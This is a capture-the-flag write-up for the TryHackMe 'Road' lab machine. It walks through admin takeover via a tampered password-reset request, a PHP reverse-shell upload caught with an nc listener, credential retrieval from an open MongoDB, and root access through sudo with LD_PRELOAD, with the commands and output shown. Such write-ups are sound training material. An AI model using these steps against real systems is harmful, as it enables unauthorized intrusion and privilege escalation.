Road Write Up
Overview
Road is a medium rated CTF room on TryHackMe created by StillNoob. Although rated as medium I would put it down as easy as the *cough* road is nicely laid out for you.
Nmap
I started a nmap scan to check for available ports.
└──╼ $sudo nmap -sC -sV -oA nmap/initial 10.10.149.149
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 09:52 GMT
Nmap scan report for 10.10.149.149
Host is up (0.055s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e6:dc:88:69:de:a1:73:8e:84:5b:a1:3e:27:9f:07:24 (RSA)
| 256 6b:ea:18:5d:8d:c7:9e:9a:01:2c:dd:50:c5:f8:c8:05 (ECDSA)
|_ 256 ef:06:d7:e4:b1:65:15:6e:94:62:cc:dd:f0:8a:1a:24 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sky Couriers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
2 ports open:
- 22 - SSH - Openssh 8.2p1
- 80 - HTTP - Apache httpd 2.4.41
I did a second nmap scan on all ports but no other ports were open.
Enumeration
Taking a look at the web server shows a simple courier web page.
I tested the track order search but it didn’t do anything so I moved on and clicked merchant central which took me to a login form.
I tried a few common credentials combinations but had no joy so registered my own account.
Once in I got access to a static dashboard, none of the links on the left worked other than ‘ResetUser’. However I could view my profile.
The only option available was to upload an image, however this needs be done my the admin. But now I have the admins email I might be able to use the reset user function to reset the admin’s password.
On the ResetUser page the username is grey out but I put in a new password and opened Burp. With Intercept on I submitted the request.
In Burp I can see my account name but no protection mechanisms.
I changed the username to the admin account and forward the request.
I now have access to the admin account!
Initial Access
Now I have access to the admin account, I should be able to upload a file. The site is using PHP so I tried uploading a php reverse shell. I copied a PHP reverse shell to my directory and edited the IP and port.
└──╼ $cp /usr/share/webshells/php/php-reverse-shell.php .
┌─[daz@parrotos]─[~/Documents/TryHackMe/Road]
└──╼ $mv php-reverse-shell.php shell.php
I then uploaded the file and started a listener using the command ‘nc -nvlp 4444’.
The profile picture (top right) hasn’t changed or error’d, so I inspect the element to show the src reference.
My upload is not in the assets folder.
However, looking at the source code for the profile page ‘http://10.10.149.149/v2/profile.php’ is a comment with a path for profile images.
The first time I scanned the source code I missed the comment, using curl is a quick and crude way of pulling all the comments off a web page which can be useful with a large web page.
└──╼ $curl -s http://10.10.149.149/v2/profile.php | grep '<!--'
<!--<link rel="stylesheet" href="../assets/css/bootstrap.min.css" crossorigin="anonymous">-->
<!-- <script src="/assets/js/dataTable.min.js"></script> -->
<!-- <div class="alert alert-danger">Take action</div> -->
<!-- </ul> -->
<!-- /v2/profileimages/ -->
<!-- Include Required Prerequisites -->
<!-- Include Date Range Picker -->
Going to the path, I can list the images however I know I named my file shell.php so I navigate to ‘http://10.10.149.149/v2/profileimages/shell.php’.
I have a shell!
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.8.21.217] from (UNKNOWN) [10.10.149.149] 59984
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
10:20:14 up 32 min, 0 users, load average: 0.00, 0.02, 0.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Priv Esc 1
I got a shell as www-data, I can use this to grab the user.txt flag but I need to now find a way to become the webdeveloper user.
$ whoami
www-data
$ cd /home/
$ ls
webdeveloper
$ cd webdeveloper
$ ls -lah
total 36K
drwxr-xr-x 4 webdeveloper webdeveloper 4.0K Oct 8 10:59 .
drwxr-xr-x 3 root root 4.0K May 25 2021 ..
lrwxrwxrwx 1 webdeveloper webdeveloper 9 May 25 2021 .bash_history -> /dev/null
-rw-r--r-- 1 webdeveloper webdeveloper 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 webdeveloper webdeveloper 3.7K Feb 25 2020 .bashrc
drwx------ 2 webdeveloper webdeveloper 4.0K May 25 2021 .cache
drwxrwxr-x 3 webdeveloper webdeveloper 4.0K May 25 2021 .local
-rw------- 1 webdeveloper webdeveloper 51 Oct 8 10:59 .mysql_history
-rw-r--r-- 1 webdeveloper webdeveloper 807 Feb 25 2020 .profile
-rw-r--r-- 1 webdeveloper webdeveloper 0 Oct 7 17:53 .sudo_as_admin_successful
-rw-r--r-- 1 webdeveloper webdeveloper 33 May 25 2021 user.txt
I enumerate the box and take a look at the listening ports and find MongoDB is listening on 27017.
$ ss -tulp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:domain 0.0.0.0:*
udp UNCONN 0 0 10.10.149.149%eth0:bootpc 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:27017 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:mysql 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 511 *:http *:*
tcp LISTEN 0 128 [::]:ssh [::]:*
$
Connecting to mongo I found the webdeveloper credentials, Ive redacted them in the output below.
$ mongo
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("0ad03a25-0c2d-4c46-8adf-bb97086a2f15") }
MongoDB server version: 4.4.6
show dbs
admin 0.000GB
backup 0.000GB
config 0.000GB
local 0.000GB
use backup
switched to db backup
show collections
collection
user
db.user.find()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }
exit
bye
Error saving history file: FileOpenFailed Unable to open() file /var/www/.dbshell: Permission denied
$
I can now SSH in to the machine as webdeveloper.
└──╼ $ssh webdeveloper@10.10.149.149
The authenticity of host '10.10.149.149 (10.10.149.149)' can't be established.
ECDSA key fingerprint is SHA256:zSoCEcBBY73hNL9ItPA4CnB/405/W6GQYsl94qRMkOo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.149.149' (ECDSA) to the list of known hosts.
webdeveloper@10.10.149.149's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 29 Nov 2021 10:26:45 AM UTC
System load: 0.0 Processes: 121
Usage of /: 60.0% of 9.78GB Users logged in: 0
Memory usage: 63% IPv4 address for eth0: 10.10.149.149
Swap usage: 0%
185 updates can be installed immediately.
100 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Oct 8 10:52:42 2021 from 192.168.0.105
webdeveloper@sky:~$
Priv Esc 2
Once connected as webdeveloper I did ‘sudo -l’, there is a binary the user can run that could be vulnerable however LD_PRELOAD is configured which could also provide a path to priv esc.
webdeveloper@sky:~$ sudo -l
Matching Defaults entries for webdeveloper on sky:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User webdeveloper may run the following commands on sky:
(ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility
webdeveloper@sky:~$
Using the article at Hacking Articles provides a great step by step on how to exploit this. I created the shell.c file as per the article and run the sudo command to become root!
webdeveloper@sky:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Thanks for reading!
============================================================
Any comments or feedback welcome! You can find me on twitter.
